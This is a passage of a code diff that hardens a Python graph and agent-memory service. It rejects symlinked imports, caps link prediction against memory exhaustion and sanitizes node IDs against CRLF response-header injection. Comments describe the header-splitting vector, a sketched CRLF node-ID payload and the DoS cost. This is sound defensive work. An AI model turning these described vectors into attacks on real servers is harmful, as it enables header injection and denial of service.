if exc.errno == getattr(errno, "ELOOP", None):
|
||||
raise ValueError(
|
||||
f"Symlink Markdown import paths are rejected: {file_path}"
|
||||
) from exc
|
||||
raise
|
||||
|
||||
try:
|
||||
stat_res = os.fstat(fd)
|
||||
if not stat.S_ISREG(stat_res.st_mode):
|
||||
raise ValueError(
|
||||
f"Markdown import path is not a regular file: {file_path}"
|
||||
)
|
||||
with open(fd, "r", encoding="utf-8", closefd=True) as f:
|
||||
return f.read()
|
||||
except Exception:
|
||||
try:
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
def _read_markdown_path(self, path: Path) -> List[Tuple[str, str]]:
|
||||
if path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {path}")
|
||||
|
||||
if not path.exists():
|
||||
raise FileNotFoundError(f"Markdown import path does not exist: {path}")
|
||||
|
||||
@@ -1916,6 +1960,7 @@ class AgentMemory:
|
||||
file_path
|
||||
for file_path in path.iterdir()
|
||||
if file_path.is_file()
|
||||
and not file_path.is_symlink()
|
||||
and file_path.suffix.lower() in self._MARKDOWN_EXTENSIONS
|
||||
),
|
||||
key=lambda file_path: (file_path.name.casefold(), file_path.name),
|
||||
@@ -1926,7 +1971,7 @@ class AgentMemory:
|
||||
raise ValueError(f"Markdown import path is not a file or directory: {path}")
|
||||
|
||||
return [
|
||||
(str(file_path), file_path.read_text(encoding="utf-8"))
|
||||
(str(file_path), self._read_markdown_file_content(file_path))
|
||||
for file_path in file_paths
|
||||
]
|
||||
|
||||
|
||||
@@ -410,6 +410,15 @@ class ContextEdge:
|
||||
return d
|
||||
|
||||
|
||||
_ATTRS_MISSING = object()
|
||||
|
||||
#: Edge types that represent an explicitly recorded causal relationship between
|
||||
#: two decisions. These are authoritative: they are what the caller asserted via
|
||||
#: add_causal_relationship(), as opposed to relationships inferred from shared
|
||||
#: entities and timestamps.
|
||||
_CAUSAL_EDGE_TYPES = ("CAUSED", "INFLUENCED", "PRECEDENT_FOR")
|
||||
|
||||
|
||||
class ContextGraph:
|
||||
"""
|
||||
Easy-to-Use Context Graph with All Advanced Features.
|
||||
@@ -708,18 +717,71 @@ class ContextGraph:
|
||||
})
|
||||
return result
|
||||
|
||||
def get_node_property(self, node_id: str, property_name: str) -> Any:
|
||||
with self._lock:
|
||||
node = self.nodes.get(node_id)
|
||||
if not node:
|
||||
return None
|
||||
return node.properties.get(property_name)
|
||||
def get_node_property(
|
||||
self,
|
||||
node_id: str,
|
||||
property_name: str,
|
||||
default: Any = None,
|
||||
) -> Any:
|
||||
"""Return the value of *property_name* on *node_id*.
|
||||
|
||||
def get_node_attributes(self, node_id: str) -> Dict[str, Any]:
|
||||
Returns *default* when the node does not exist or when the property is
|
||||
not set on the node. Both failure modes return the same *default*, so
|
||||
a sentinel can identify *any not-found result* as distinct from a
|
||||
property whose value is legitimately ``None``::
|
||||
|
||||
_MISSING = object()
|
||||
val = graph.get_node_property(node_id, "score", default=_MISSING)
|
||||
if val is _MISSING:
|
||||
... # node absent or property not set
|
||||
|
||||
To distinguish a missing node from a missing property specifically,
|
||||
call ``find_node()`` first to check node existence.
|
||||
|
||||
Args:
|
||||
node_id: ID of the node to look up.
|
||||
property_name: Name of the property to retrieve.
|
||||
default: Value returned when the node or property is absent.
|
||||
Defaults to ``None`` (backward-compatible).
|
||||
|
||||
Returns:
|
||||
The property value, or *default* if not found.
|
||||
"""
|
||||
with self._lock:
|
||||
node = self.nodes.get(node_id)
|
||||
if not node:
|
||||
return {}
|
||||
if node is None:
|
||||
return default
|
||||
return node.properties.get(property_name, default)
|
||||
|
||||
def get_node_attributes(
|
||||
self,
|
||||
node_id: str,
|
||||
default: Any = _ATTRS_MISSING,
|
||||
) -> Any:
|
||||
"""Return a copy of all properties on *node_id*.
|
||||
|
||||
Returns *default* when the node does not exist. The historical
|
||||
default is ``{}`` (an empty dict), preserved for backward
|
||||
compatibility. Pass a private sentinel as *default* to detect a
|
||||
missing node unambiguously::
|
||||
|
||||
_MISSING = object()
|
||||
attrs = graph.get_node_attributes(node_id, default=_MISSING)
|
||||
if attrs is _MISSING:
|
||||
... # node does not exist
|
||||
|
||||
Args:
|
||||
node_id: ID of the node to look up.
|
||||
default: Value returned when the node is absent.
|
||||
Defaults to ``{}`` (backward-compatible).
|
||||
|
||||
Returns:
|
||||
A shallow copy of the node's properties dict, or *default*.
|
||||
"""
|
||||
with self._lock:
|
||||
node = self.nodes.get(node_id)
|
||||
if node is None:
|
||||
return {} if default is _ATTRS_MISSING else default
|
||||
return node.properties.copy()
|
||||
|
||||
def add_node_attribute(self, node_id: str, attributes: Dict[str, Any]) -> None:
|
||||
@@ -730,13 +792,28 @@ class ContextGraph:
|
||||
node.properties.update(attributes)
|
||||
node.metadata.update(attributes)
|
||||
|
||||
|
||||
if getattr(self, "mutation_callback", None) and not getattr(
|
||||
self, "_suspend_mutation_callback", False
|
||||
):
|
||||
self.mutation_callback("UPDATE_NODE", node_id, node.to_dict())
|
||||
try:
|
||||
self.mutation_callback("UPDATE_NODE", node_id, node.to_dict())
|
||||
except Exception as e:
|
||||
self.logger.warning(f"Audit trail callback failed for node {node_id}: {e}")
|
||||
|
||||
def get_edge_data(self, source_id: str, target_id: str) -> Dict[str, Any]:
|
||||
"""Return metadata for the edge between *source_id* and *target_id*.
|
||||
|
||||
Returns an empty dict ``{}`` when no edge exists between the two nodes
|
||||
or when either node is absent.
|
||||
|
||||
Args:
|
||||
source_id: ID of the source node.
|
||||
target_id: ID of the target node.
|
||||
|
||||
Returns:
|
||||
A dict containing edge metadata (``id``, ``familyId``, ``type``,
|
||||
``weight``, plus any custom metadata), or ``{}`` if not found.
|
||||
"""
|
||||
with self._lock:
|
||||
for edge in self._adjacency.get(source_id, []):
|
||||
if edge.target_id == target_id:
|
||||
@@ -1080,7 +1157,17 @@ class ContextGraph:
|
||||
self.logger.info(f"Loaded context graph from {path}")
|
||||
|
||||
def find_node(self, node_id: str) -> Optional[Dict[str, Any]]:
|
||||
"""Find a node by ID."""
|
||||
"""Return a dict representation of the node identified by *node_id*.
|
||||
|
||||
Returns ``None`` when the node does not exist.
|
||||
|
||||
Args:
|
||||
node_id: ID of the node to look up.
|
||||
|
||||
Returns:
|
||||
A dict with keys ``id``, ``type``, ``content``, and ``metadata``,
|
||||
or ``None`` if the node is not found.
|
||||
"""
|
||||
with self._lock:
|
||||
node = self.nodes.get(node_id)
|
||||
if node:
|
||||
@@ -1769,47 +1856,48 @@ class ContextGraph:
|
||||
|
||||
def to_dict(self) -> Dict[str, Any]:
|
||||
"""Export graph to dictionary format."""
|
||||
nodes_out = []
|
||||
for n in self.nodes.values():
|
||||
entry: Dict[str, Any] = {
|
||||
"id": n.node_id,
|
||||
"type": n.node_type,
|
||||
"content": n.content,
|
||||
"properties": n.properties,
|
||||
"metadata": n.metadata,
|
||||
}
|
||||
if n.valid_from is not None:
|
||||
entry["valid_from"] = n.valid_from
|
||||
if n.valid_until is not None:
|
||||
entry["valid_until"] = n.valid_until
|
||||
nodes_out.append(entry)
|
||||
with self._lock:
|
||||
nodes_out = []
|
||||
for n in self.nodes.values():
|
||||
entry: Dict[str, Any] = {
|
||||
"id": n.node_id,
|
||||
"type": n.node_type,
|
||||
"content": n.content,
|
||||
"properties": n.properties,
|
||||
"metadata": n.metadata,
|
||||
}
|
||||
if n.valid_from is not None:
|
||||
entry["valid_from"] = n.valid_from
|
||||
if n.valid_until is not None:
|
||||
entry["valid_until"] = n.valid_until
|
||||
nodes_out.append(entry)
|
||||
|
||||
edges_out = []
|
||||
for e in self.edges:
|
||||
entry = {
|
||||
"id": e.edge_id,
|
||||
"familyId": e.family_id or e.edge_id,
|
||||
"source": e.source_id,
|
||||
"target": e.target_id,
|
||||
"type": e.edge_type,
|
||||
"weight": e.weight,
|
||||
}
|
||||
if e.metadata:
|
||||
entry["metadata"] = e.metadata
|
||||
if e.valid_from is not None:
|
||||
entry["valid_from"] = e.valid_from
|
||||
if e.valid_until is not None:
|
||||
entry["valid_until"] = e.valid_until
|
||||
edges_out.append(entry)
|
||||
edges_out = []
|
||||
for e in self.edges:
|
||||
entry = {
|
||||
"id": e.edge_id,
|
||||
"familyId": e.family_id or e.edge_id,
|
||||
"source": e.source_id,
|
||||
"target": e.target_id,
|
||||
"type": e.edge_type,
|
||||
"weight": e.weight,
|
||||
}
|
||||
if e.metadata:
|
||||
entry["metadata"] = e.metadata
|
||||
if e.valid_from is not None:
|
||||
entry["valid_from"] = e.valid_from
|
||||
if e.valid_until is not None:
|
||||
entry["valid_until"] = e.valid_until
|
||||
edges_out.append(entry)
|
||||
|
||||
return {
|
||||
"nodes": nodes_out,
|
||||
"edges": edges_out,
|
||||
"statistics": {
|
||||
"node_count": len(self.nodes),
|
||||
"edge_count": len(self.edges),
|
||||
},
|
||||
}
|
||||
return {
|
||||
"nodes": nodes_out,
|
||||
"edges": edges_out,
|
||||
"statistics": {
|
||||
"node_count": len(self.nodes),
|
||||
"edge_count": len(self.edges),
|
||||
},
|
||||
}
|
||||
|
||||
def from_dict(self, graph_dict: Dict[str, Any]) -> None:
|
||||
"""Load graph from dictionary format."""
|
||||
@@ -2698,11 +2786,20 @@ class ContextGraph:
|
||||
direct_influence.discard(decision_id)
|
||||
direct_influence.update(self._decision_index.get(decision["category"], set()))
|
||||
direct_influence.discard(decision_id)
|
||||
|
||||
# Explicit causal relationships recorded via add_causal_relationship() are
|
||||
# ground truth and always count as direct influence, in either direction.
|
||||
for edge_type in _CAUSAL_EDGE_TYPES:
|
||||
for edge in self.edge_type_index.get(edge_type, []):
|
||||
if edge.source_id == decision_id and edge.target_id in self._decisions:
|
||||
direct_influence.add(edge.target_id)
|
||||
elif edge.target_id == decision_id and edge.source_id in self._decisions:
|
||||
direct_influence.add(edge.source_id)
|
||||
|
||||
# Indirect influence (through graph relationships)
|
||||
indirect_influence = set()
|
||||
if include_indirect and self.config.get("advanced_analytics"):
|
||||
indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth)
|
||||
indirect_influence = self._find_indirect_decision_influence(decision_id, max_depth) - direct_influence
|
||||
|
||||
# Calculate influence scores
|
||||
influence_scores = {}
|
||||
@@ -2806,42 +2903,106 @@ class ContextGraph:
|
||||
def trace_decision_causality(
|
||||
self,
|
||||
decision_id: str,
|
||||
max_depth: int = 5
|
||||
max_depth: int = 5,
|
||||
max_chains: Optional[int] = 10000
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Trace causal chain for a decision.
|
||||
|
||||
|
||||
Args:
|
||||
decision_id: Decision to trace
|
||||
max_depth: Maximum depth for causal analysis
|
||||
|
||||
max_chains: Maximum number of chains to return. Densely connected
|
||||
graphs can contain a combinatorial number of distinct causal
|
||||
paths, so the traversal stops once this many chains have been
|
||||
collected and appends a ``{"truncated": True, ...}`` marker so
|
||||
callers can tell the trace is incomplete. Pass None for no limit.
|
||||
|
||||
Returns:
|
||||
Causal chain as list of decision relationships
|
||||
"""
|
||||
if not hasattr(self, '_decisions') or decision_id not in self._decisions:
|
||||
raise ValueError(f"Decision {decision_id} not found")
|
||||
|
||||
|
||||
try:
|
||||
# Use graph traversal to find causal relationships
|
||||
causal_chain = []
|
||||
visited = set()
|
||||
|
||||
def trace_recursive(current_id, depth, path):
|
||||
if depth >= max_depth or current_id in visited:
|
||||
chain_limit = float("inf") if max_chains is None else max_chains
|
||||
truncated = False
|
||||
|
||||
# Reverse index of explicit causal edges, built once per call so the
|
||||
# traversal does not rescan the edge list at every visited node.
|
||||
# Edges may reference decision nodes that were never recorded through
|
||||
# record_decision() (e.g. a graph restored via from_dict), so only
|
||||
# causes with a known decision record are kept.
|
||||
incoming_causal_edges = defaultdict(list)
|
||||
for edge_type in _CAUSAL_EDGE_TYPES:
|
||||
for edge in self.edge_type_index.get(edge_type, []):
|
||||
if edge.source_id in self._decisions:
|
||||
incoming_causal_edges[edge.target_id].append(edge)
|
||||
|
||||
def record_chain(cause_path):
|
||||
"""Record one chain. Returns False once the cap is reached."""
|
||||
nonlocal truncated
|
||||
if len(causal_chain) >= chain_limit:
|
||||
truncated = True
|
||||
return False
|
||||
causal_chain.append(
|
||||
self._build_causal_chain_report(list(reversed(cause_path)))
|
||||
)
|
||||
return True
|
||||
|
||||
def trace_recursive(current_id, depth, path, path_ids):
|
||||
# Cycle detection is per-path rather than global: a decision reached
|
||||
# through one branch must stay traversable through another, otherwise
|
||||
# branching graphs silently lose valid chains. max_depth bounds the
|
||||
# traversal.
|
||||
if truncated or depth >= max_depth or current_id in path_ids:
|
||||
return
|
||||
|
||||
visited.add(current_id)
|
||||
|
||||
path_ids = path_ids | {current_id}
|
||||
current_decision = self._decisions[current_id]
|
||||
|
||||
# Find potential causes (decisions that influenced this one)
|
||||
|
||||
# Explicit causal relationships recorded via add_causal_relationship()
|
||||
# take precedence - they are the ground truth the caller recorded.
|
||||
# Every edge is traced, so parallel relationships between the same
|
||||
# pair of decisions are all reported rather than overwriting.
|
||||
explicit_causes = incoming_causal_edges.get(current_id, [])
|
||||
explicit_cause_ids = {edge.source_id for edge in explicit_causes}
|
||||
|
||||
for edge in explicit_causes:
|
||||
cause_id = edge.source_id
|
||||
cause_dec = self._decisions[cause_id]
|
||||
weight = getattr(edge, "weight", None)
|
||||
# A stored weight of 0.0 is meaningful and must not be coerced
|
||||
# to the 1.0 default.
|
||||
edge_weight = 1.0 if weight is None else float(weight)
|
||||
hop = {
|
||||
"from": cause_id,
|
||||
"from_scenario": cause_dec.get("scenario", ""),
|
||||
"to": current_id,
|
||||
"to_scenario": current_decision.get("scenario", ""),
|
||||
"type": edge.edge_type,
|
||||
"edge_weight": edge_weight,
|
||||
}
|
||||
cause_path = path + [hop]
|
||||
if not record_chain(cause_path):
|
||||
return
|
||||
trace_recursive(cause_id, depth + 1, cause_path, path_ids)
|
||||
if truncated:
|
||||
return
|
||||
|
||||
# Find potential causes (decisions that influenced this one) via
|
||||
# shared entities/timestamps - additive heuristic, skipping anything
|
||||
# already covered by an explicit relationship above.
|
||||
potential_causes = []
|
||||
for entity in current_decision["entities"]:
|
||||
for other_decision_id in self._entity_index.get(entity, set()):
|
||||
if other_decision_id != current_id:
|
||||
if other_decision_id != current_id and other_decision_id not in explicit_cause_ids:
|
||||
other_decision = self._decisions[other_decision_id]
|
||||
if other_decision["timestamp"] < current_decision["timestamp"]:
|
||||
potential_causes.append(other_decision_id)
|
||||
|
||||
|
||||
for cause_id in potential_causes:
|
||||
cause_dec = self._decisions.get(cause_id, {})
|
||||
edge_weight = float(cause_dec.get("confidence", 1.0))
|
||||
@@ -2854,10 +3015,32 @@ class ContextGraph:
|
||||
"edge_weight": edge_weight,
|
||||
}
|
||||
cause_path = path + [hop]
|
||||
causal_chain.append(self._build_causal_chain_report(list(reversed(cause_path))))
|
||||
trace_recursive(cause_id, depth + 1, cause_path)
|
||||
|
||||
trace_recursive(decision_id, 0, [])
|
||||
if not record_chain(cause_path):
|
||||
return
|
||||
trace_recursive(cause_id, depth + 1, cause_path, path_ids)
|
||||
if truncated:
|
||||
return
|
||||
|
||||
trace_recursive(decision_id, 0, [], frozenset())
|
||||
|
||||
if truncated:
|
||||
# Never drop chains silently: the caller is told the trace is partial.
|
||||
self.logger.warning(
|
||||
"Causal trace for %s truncated at %s chains; "
|
||||
"raise max_chains or lower max_depth for a complete trace.",
|
||||
decision_id,
|
||||
max_chains,
|
||||
)
|
||||
causal_chain.append({
|
||||
"truncated": True,
|
||||
"max_chains": max_chains,
|
||||
"message": (
|
||||
f"Causal trace truncated at {max_chains} chains. "
|
||||
"The result is incomplete; raise max_chains or lower "
|
||||
"max_depth for a complete trace."
|
||||
),
|
||||
})
|
||||
|
||||
return causal_chain
|
||||
|
||||
except Exception as e:
|
||||
@@ -3326,21 +3509,25 @@ class ContextGraph:
|
||||
def trace_decision_chain(
|
||||
self,
|
||||
decision_id: str,
|
||||
max_steps: int = 5
|
||||
max_steps: int = 5,
|
||||
max_chains: Optional[int] = 10000
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Easy way to trace how decisions are connected.
|
||||
|
||||
|
||||
Args:
|
||||
decision_id: Starting decision
|
||||
max_steps: Maximum steps to trace
|
||||
|
||||
max_chains: Maximum number of chains to return; see
|
||||
trace_decision_causality(). Pass None for no limit.
|
||||
|
||||
Returns:
|
||||
Decision chain connections
|
||||
"""
|
||||
return self.trace_decision_causality(
|
||||
decision_id=decision_id,
|
||||
max_depth=max_steps
|
||||
max_depth=max_steps,
|
||||
max_chains=max_chains
|
||||
)
|
||||
|
||||
def check_decision_rules(
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Enrichment and reasoning routes.
|
||||
"""
|
||||
|
||||
@@ -26,6 +26,23 @@ from ..session import GraphSession
|
||||
router = APIRouter(tags=["Enrichment"])
|
||||
_FACT_RE = re.compile(r"^(?P<predicate>[A-Za-z_][\w:-]*)\((?P<args>.*)\)$")
|
||||
|
||||
# SECURITY: Cap the candidate pool loaded by link prediction to prevent a
|
||||
# single request from exhausting server memory (CWE-770). Without a cap the
|
||||
# endpoint calls session.get_nodes(limit=999_999) and scores every node in
|
||||
# O(N^2), consuming ~1.6 GB RAM at the maximum limit (measured via
|
||||
# tracemalloc at 1.7 KB/node with 128-dim embeddings; see poc_runner.py).
|
||||
# Mirrors the SPARQL DoS fix from PR #898 (50k cap + semaphore).
|
||||
#
|
||||
# NOTE: session.get_nodes()/get_edges() (paginate_nodes/paginate_edges)
|
||||
# normalize the *entire* matching set before applying `limit` -- passing
|
||||
# limit=_LINK_PREDICTION_MAX_NODES does not bound that work. The `total`
|
||||
# they return can only be checked *after* paying that full cost. To actually
|
||||
# reject an oversized graph before doing that work, check session.get_raw_counts()
|
||||
# (O(1) collection lengths) first -- see predict_links() below.
|
||||
_LINK_PREDICTION_MAX_NODES = 10_000
|
||||
_LINK_PREDICTION_MAX_EDGES = 50_000
|
||||
_link_prediction_semaphore = asyncio.Semaphore(2)
|
||||
|
||||
|
||||
def _safe_dict(obj) -> dict:
|
||||
if isinstance(obj, dict):
|
||||
@@ -194,40 +211,80 @@ async def predict_links(
|
||||
if node is None:
|
||||
raise HTTPException(status_code=404, detail=f"Node '{body.node_id}' not found")
|
||||
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)
|
||||
edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)
|
||||
# SECURITY: Acquire semaphore BEFORE loading data so concurrent requests
|
||||
# cannot pile up expensive threadpool work and memory pressure (Qodo #2).
|
||||
async with _link_prediction_semaphore:
|
||||
# SECURITY: Reject an oversized graph using the O(1) raw collection
|
||||
# lengths BEFORE calling get_nodes()/get_edges(), which normalize the
|
||||
# *entire* matching set before applying `limit` -- checking `total`
|
||||
# only after that call still pays the full O(graph size) cost the cap
|
||||
# is meant to avoid.
|
||||
total_nodes, total_edges = await asyncio.to_thread(session.get_raw_counts)
|
||||
if total_nodes > _LINK_PREDICTION_MAX_NODES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_nodes:,} nodes; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_NODES:,} nodes to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
if total_edges > _LINK_PREDICTION_MAX_EDGES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_edges:,} edges; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_EDGES:,} edges to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges if edge.get("source") == body.node_id
|
||||
} | {
|
||||
edge.get("source") for edge in edges if edge.get("target") == body.node_id
|
||||
}
|
||||
# SECURITY: Load at most _LINK_PREDICTION_MAX_NODES candidates.
|
||||
# The hardcoded limit in the original code consumed ~1.6 GB RAM
|
||||
# per request and had no concurrency guard, making it trivially DoS-able.
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=_LINK_PREDICTION_MAX_NODES)
|
||||
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
# Load edges specific to the queried node rather than a globally
|
||||
# truncated page — avoids missing neighbours when the node's edges
|
||||
# fall outside the first page (Qodo #3).
|
||||
edges_out, _ = await asyncio.to_thread(
|
||||
session.get_edges, source=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
edges_in, _ = await asyncio.to_thread(
|
||||
session.get_edges, target=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges_out
|
||||
} | {
|
||||
edge.get("source") for edge in edges_in
|
||||
}
|
||||
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
return LinkPredictionResponse(node_id=body.node_id, predictions=scored[: body.top_n])
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Import and export routes for graph datasets.
|
||||
"""
|
||||
|
||||
@@ -6,6 +6,7 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
|
||||
from fastapi import APIRouter, Depends, File, HTTPException, UploadFile
|
||||
from fastapi.responses import Response
|
||||
@@ -22,6 +23,33 @@ _IMPORT_MAX_BYTES = 50 * 1024 * 1024 # 50 MB
|
||||
# Do not add extensions here unless a corresponding parsing branch exists below.
|
||||
_ALLOWED_IMPORT_EXTENSIONS = frozenset({".json", ".csv"})
|
||||
|
||||
# SECURITY: Strip characters from imported node IDs that would enable stored
|
||||
# HTTP response header injection (CWE-20 / CWE-113). These IDs are later
|
||||
# reflected verbatim into Content-Disposition filename= headers by the
|
||||
# provenance report endpoint -- CRLF sequences in an ID can split the HTTP
|
||||
# response and inject arbitrary headers (Set-Cookie, Content-Type, etc.).
|
||||
# NUL bytes truncate filenames on POSIX and some Windows APIs.
|
||||
_UNSAFE_ID_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_IMPORT_NODE_ID_LEN = 512
|
||||
|
||||
|
||||
def _sanitize_import_node_id(raw: object) -> str:
|
||||
"""Sanitize a node ID arriving from an uploaded CSV or JSON file.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes, then length-caps the
|
||||
result. These are the characters that enable CRLF header injection when
|
||||
the ID is later used in a Content-Disposition filename= parameter.
|
||||
"""
|
||||
if raw is None:
|
||||
return ""
|
||||
cleaned = _UNSAFE_ID_CHARS.sub("_", str(raw).strip())
|
||||
if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN:
|
||||
raise HTTPException(
|
||||
status_code=422,
|
||||
detail=f"Node ID exceeds maximum length of {_MAX_IMPORT_NODE_ID_LEN} characters.",
|
||||
)
|
||||
return cleaned
|
||||
|
||||
|
||||
def _import_response(nodes_added: int, edges_added: int, message: str = "Import successful") -> ImportResponse:
|
||||
return ImportResponse(
|
||||
@@ -77,12 +105,19 @@ async def import_file(
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
if "properties" in raw_node:
|
||||
nodes.append(raw_node)
|
||||
# SECURITY: this pre-built-node path bypasses the id/type/properties
|
||||
# construction below entirely, so it must sanitize the id itself --
|
||||
# otherwise a payload like {"id": "<crlf>", "properties": {}} skips
|
||||
# _sanitize_import_node_id() completely (CWE-20/CWE-113 bypass).
|
||||
safe_node_id = _sanitize_import_node_id(
|
||||
raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))
|
||||
)
|
||||
nodes.append({**raw_node, "id": safe_node_id})
|
||||
continue
|
||||
metadata = raw_node.get("metadata", {}) or {}
|
||||
nodes.append(
|
||||
{
|
||||
"id": str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"id": _sanitize_import_node_id(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {
|
||||
"content": raw_node.get("text", raw_node.get("content", raw_node.get("id", ""))),
|
||||
@@ -102,8 +137,8 @@ async def import_file(
|
||||
{
|
||||
"id": raw_edge.get("id", raw_edge.get("edge_id")),
|
||||
"familyId": raw_edge.get("familyId", raw_edge.get("family_id")),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"type": raw_edge.get("type", raw_edge.get("relationship", "related_to")),
|
||||
"weight": float(raw_edge.get("weight", 1.0)),
|
||||
"properties": edge_properties,
|
||||
@@ -159,8 +194,8 @@ async def import_file(
|
||||
{
|
||||
"id": row.get("id") or row.get("edge_id"),
|
||||
"familyId": row.get("familyId") or row.get("family_id"),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"type": row.get("type") or row.get("relationship") or row.get(":TYPE") or "related_to",
|
||||
"weight": float(row.get("weight", 1.0) or 1.0),
|
||||
"properties": edge_props,
|
||||
@@ -174,7 +209,7 @@ async def import_file(
|
||||
}
|
||||
nodes.append(
|
||||
{
|
||||
"id": str(node_id),
|
||||
"id": _sanitize_import_node_id(node_id),
|
||||
"type": row.get("type") or row.get("label") or row.get(":LABEL") or "entity",
|
||||
"properties": node_props,
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ Provenance routes for lineage visualization and exportable reports.
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import networkx as nx
|
||||
@@ -19,6 +20,24 @@ from ...provenance.integrity import verify_checksum
|
||||
logger = logging.getLogger(__name__)
|
||||
router = APIRouter(prefix="/api/provenance", tags=["Power User Tools"])
|
||||
|
||||
# SECURITY: Strip characters that could break out of a Content-Disposition
|
||||
# filename= value and inject new HTTP response headers (CWE-113 / CRLF injection).
|
||||
# \r, \n, \x00 are the primary header-splitting vectors; " and \ would close
|
||||
# or escape the filename attribute.
|
||||
_UNSAFE_FILENAME_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_FILENAME_ID_LEN = 128
|
||||
|
||||
|
||||
def _safe_content_disposition_filename(node_id: str, suffix: str) -> str:
|
||||
"""Return a sanitized Content-Disposition filename for the given node_id.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes that could split HTTP
|
||||
response headers or escape the filename attribute, then length-caps the
|
||||
result so it never produces an excessively long header value.
|
||||
"""
|
||||
sanitized = _UNSAFE_FILENAME_CHARS.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN]
|
||||
return f"{sanitized}{suffix}"
|
||||
|
||||
_AGENT_TYPES = {"person", "organization", "system", "agent"}
|
||||
_ACTIVITY_TYPES = {"action", "event", "process", "activity", "decision", "publication"}
|
||||
|
||||
@@ -333,12 +352,12 @@ async def export_provenance_report(
|
||||
content = _render_markdown(report)
|
||||
return PlainTextResponse(
|
||||
content,
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.md"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.md")}"'},
|
||||
)
|
||||
|
||||
content = json.dumps(report, indent=2, default=str)
|
||||
return Response(
|
||||
content=content,
|
||||
media_type="application/json",
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.json"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.json")}"'},
|
||||
)
|
||||
|
||||
@@ -375,6 +375,19 @@ class GraphSession:
|
||||
)
|
||||
return page, total
|
||||
|
||||
def get_raw_counts(self) -> tuple[int, int]:
|
||||
"""O(1) node/edge counts from the raw collections, with no per-item
|
||||
normalization.
|
||||
|
||||
``paginate_nodes``/``paginate_edges`` always normalize the *entire*
|
||||
matching set before applying ``limit``, so callers that need to reject
|
||||
an oversized graph before paying that cost (e.g. link prediction's DoS
|
||||
guard) should check this first rather than inspecting the ``total``
